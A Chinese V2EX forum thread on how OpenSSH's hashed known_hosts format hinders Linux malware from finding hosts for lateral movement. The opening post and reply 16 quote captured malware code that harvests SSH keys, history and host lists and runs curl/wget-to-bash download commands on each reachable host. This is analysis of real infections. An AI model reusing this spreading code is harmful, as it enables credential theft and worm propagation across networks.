V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Distributions
Ubuntu
Fedora
CentOS
中文资源站
网易开源镜像站
matrix67
V2EX  ›  Linux

现在 Linux 恶意软件不能在内网中横向移动,多亏了 OpenSSH 这个特性。

  •  
  •   matrix67 · 2020-12-19 19:20:56 +08:00 · 4371 次点击
    这是一个创建于 1196 天前的主题,其中的信息可能已经有所发展或是发生改变。

    恶意脚本里面有这么一串

    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
      for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'cd1 -o-  http://45.xxx.xxx.37/b2f628fff19fda999999999/is.sh | bash >/dev/null 2>&1 &' & done
    fi
    
    

    看目的是为了进行横向移动。不过我测试了一下发现并没有在 known_hosts 找到 ip 地址。

    我上网查了查[0],原来之前的记录方式是

    host.rootshell.be,10.0.0.2 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0ei6KvTUHnmCjdsEwpCCaOHZWvjS \
    jytm/5/Vv1Dc6ToaxTnqJ7ocBb7NI/HUQEc23eUYjFrZQDS0JRml3RnsG0UzvtIfAPDP1x7h6HHy4ixjAP7slXgqj3c \
    fOV5ThNjYI0mEbIh1ezGWovwoy0IxRK9Lq29CacqQH8407b1jEj/zfOzUi3FgRlsKZTsc3UIoWSY0KPSSPlcSTInviG \
    oNi+9gC8eqXHURsvOWyQMH5K5isvc/Wp1DiMxXSQ+uchBl6AoqSj6FTkRAQ9oAe8p1GekxuLh2PJ+dMDIuhGeZ60fIh \
    eq15kzZGsDWkNF6hc/HmkJDSPn3bRmo3xmFP02sNw==
    
    

    OpenSSH 4.0 之后,变为,

    |1|U8gOHG/S5rH9uRH3cXgdUNF13F4=|cNimv6148Swl6QcwqBOjgRnHnKs= ssh-rsa AAAAB3NzaC1yc2EAAAABIw \
    AAAQEAvAtd04lhxzzqW57464mhkubDixZpy+qxvXBVodNmbM8culkfYtmq0Ynd+1G1s3hcBSEa8XHhNdcxTx51MbIjO \
    dCbFyx6rbvTIU/5T2z0/TMjeQyL3SZttbYWM2U0agKp/86FdaQF6V87loNcDq/26JLBSaZgViZS4gKZbflZCdD6aB2s \
    2sqEV4k7zU2OMHPy7W6ghNQzEu+Ep/44w4RCdI5OYFfids9B0JSUefR9eiumjRwyI0dCPyq9jrQZy47AI7oiQJqSjvu \
    eMIwZrrlmECYSvOru0MiyeKwsm7m8dyzAE+f2CkdUh6tQleLRLnEMH+25EAB56AhkpWSuMPJX1w==
    
    

    U8gOHG/S5rH9uRH3cXgdUNF13F4= 这一部分是盐的 base64,| 后面部分是 hostname HMAC 后的 base64 。

    这么一来恶意软件在内网中,至少没法从 known_hosts 里面获取到已经登录过的 ip,进行横向移动了。

    [0]https://blog.rootshell.be/2010/11/03/bruteforcing-ssh-known_hosts-files/

    22 条回复    2021-01-01 15:22:08 +08:00
    Hardrain
        1
    Hardrain  
       2020-12-19 20:25:25 +08:00 via Android   ❤️ 8
    OpenSSH 最新的版本是 8.2

    这个功能不是新加入的

    只要在配置文件添加 HashKnownHosts yes 即会启用

    有些发行版分发的配置文件默认启用这个功能 有些则没有
    a342191555
        2
    a342191555  
       2020-12-19 21:51:37 +08:00 via iPhone   ❤️ 2
    突然在想未来会不会演化成从 history 中取 ssh host…
    salmon5
        3
    salmon5  
       2020-12-19 22:14:25 +08:00 via Android   ❤️ 1
    横向移动,想到了螃蟹
    no1xsyzy
        4
    no1xsyzy  
       2020-12-20 03:07:26 +08:00   ❤️ 1
    @a342191555 我的直觉告诉我已经有了,而且肯定已经有了从 ~/.ssh/config 里取的。
    mingl0280
        5
    mingl0280  
       2020-12-20 07:53:28 +08:00   ❤️ 1
    @no1xsyzy 两个都有,他遇上的这个估计是很老的脚本……
    matrix67
        6
    matrix67  
    OP
       2020-12-20 09:06:13 +08:00
    @a342191555
    @no1xsyzy
    @mingl0280

    有道理,那我感觉还可以 nmap 扫一下内网网段啥的。我看这个脚本后面还搞了一堆的装包,git clone 还编译的。。。
    mingl0280
        7
    mingl0280  
       2020-12-20 10:14:16 +08:00
    @matrix67 讲真这种写恶意脚本的大部分水平不太行,哈哈哈
    Owenjia
        8
    Owenjia  
       2020-12-20 10:45:44 +08:00   ❤️ 2
    ip neigh 和 history 可能也需要注意一下……
    xuanbg
        9
    xuanbg  
       2020-12-20 13:02:37 +08:00
    内网扩散还需要什么 known_hosts,扫描整个网段就是了。难道不是扫到漏洞就利用漏洞去感染目标主机的吗?
    no1xsyzy
        10
    no1xsyzy  
       2020-12-20 13:08:23 +08:00
    @xuanbg 有 SSH 可以不用漏洞,known_hosts 算是种加速,不然 10/8 用 bash 得扫一年……
    也不止是局域网横向,也可以顺此侵入服务器(哪怕只是很久以前初次配置的时候登录过)
    Cu635
        11
    Cu635  
       2020-12-20 13:36:45 +08:00
    @Hardrain
    好像是跟发行版和 openssh 软件包的版本都有关,同一个发行版,旧版软件包就没有开启,新版的才默认开启了这个功能
    cdlnls
        12
    cdlnls  
       2020-12-20 20:07:43 +08:00 via iPhone
    前段时间正好也遇到一个内网通过 ssh 扩散的脚本,可以说很是优秀的了。

    用 find 去找私钥,从 hosts 文件里面找主机,从历史记录里面找 scp 和 ssh 的记录,从.ssh 目录里面找已经连接过的主机,从 config 文件里面拿私钥的路径,等等好几个来源。

    最后最牛逼的是用这些从不同途径拿到的主机端口 key,又重新排列组合一遍,最后遍历这些组合。
    cdlnls
        13
    cdlnls  
       2020-12-20 20:11:57 +08:00 via iPhone
    缺点也是有的,它没有解析 known_hosts 文件里面的 base64,也算是留了改进的空间吧……
    matrix67
        14
    matrix67  
    OP
       2020-12-20 22:47:35 +08:00
    @cdlnls 有没有样例,求分享个看看哈哈
    cdlnls
        15
    cdlnls  
       2020-12-20 23:09:22 +08:00
    @matrix67 我晚点整理一下发出来
    cdlnls
        16
    cdlnls  
       2020-12-20 23:20:54 +08:00
    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
    for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://xxx.com)|bash >/dev/null 2>&1 &' & done
    fi

    for file in /home/*
    do
    if test -d $file; then
    if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
    for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://xxx.com)|bash >/dev/null 2>&1 &' & done
    fi
    fi
    done

    localgo() {
    myhostip=$(curl -sL icanhazip.com)
    KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub)
    KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
    KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | awk -F ' -i ' '{print $2}' | awk '{print $1'})
    KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
    HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
    HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
    HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $2}' | awk -F '{print $1}')
    HOSTS4=$(cat /etc/hosts | grep -vw "0.0.0.0" | grep -vw "127.0.1.1" | grep -vw "127.0.0.1" | grep -vw $myhostip | sed -r '/\n/!s/[0-9.]+/\n&\n/;/^([0-9]{1,3}\.){3}[0-9]{1,3}\n/P;D' | awk '{print $1}')
    HOSTS5=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
    HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | grep ":22" | uniq)
    USERZ=$(
    echo "root"
    find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq
    )
    USERZ2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $1}' | awk '{print $4}' | uniq)
    pl=$(
    echo "22"
    cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '-p' '{print $2}'
    )
    sshports=$(echo "$pl" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
    userlist=$(echo "$USERZ $USERZ2" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
    hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3 $HOSTS4 $HOSTS5 $HOSTS6" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
    keylist=$(echo "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
    i=0
    for user in $userlist; do
    for host in $hostlist; do
    for key in $keylist; do
    for sshp in $sshports; do
    i=$((i+1))
    if [ "${i}" -eq "20" ]; then
    sleep 20
    ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
    i=0
    fi
    #Wait 20 seconds after every 20 attempts and clean up hanging processes

    chmod +r $key
    chmod 400 $key
    echo "$user@$host $key $sshp"
    ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://xxx.com||wget -q -O- http://xxx.com)|bash >/dev/null 2>&1 &"
    done
    done
    done
    done
    }
    localgo
    cdlnls
        17
    cdlnls  
       2020-12-20 23:30:49 +08:00
    我只截取了脚本里面关于 ssh 扩散的这一部分,xxx 点 com 是一个下载脚本的 url,这里我给去掉了。
    rickc137
        18
    rickc137  
       2020-12-21 10:12:34 +08:00
    请问这种恶意脚本一般是怎么发现的啊...
    virusdefender
        19
    virusdefender  
       2020-12-25 11:39:16 +08:00
    Mac 上的 known_hosts 还是明文的
    matrix67
        20
    matrix67  
    OP
       2020-12-25 11:55:32 +08:00
    @rickc137 中毒或者蜜罐

    @virusdefender 你看看 HashKnownHosts
    virusdefender
        21
    virusdefender  
       2020-12-25 12:38:51 +08:00
    @matrix67 看上去没有这个配置,应该是默认没开
    Ansen
        22
    Ansen  
       2021-01-01 15:22:08 +08:00
    唉,新年第一天,发现中了这个病毒,然后今天 一天就分析 这几个脚本了

    原因 是阿里经典网络的安全组内网配置了 允许 0.0.0.0/0,然后这台机器的 redis 没有密码,且允许内网访问

    应该是被内网扫描了
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   2804 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 25ms · UTC 11:50 · PVG 19:50 · LAX 04:50 · JFK 07:50
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.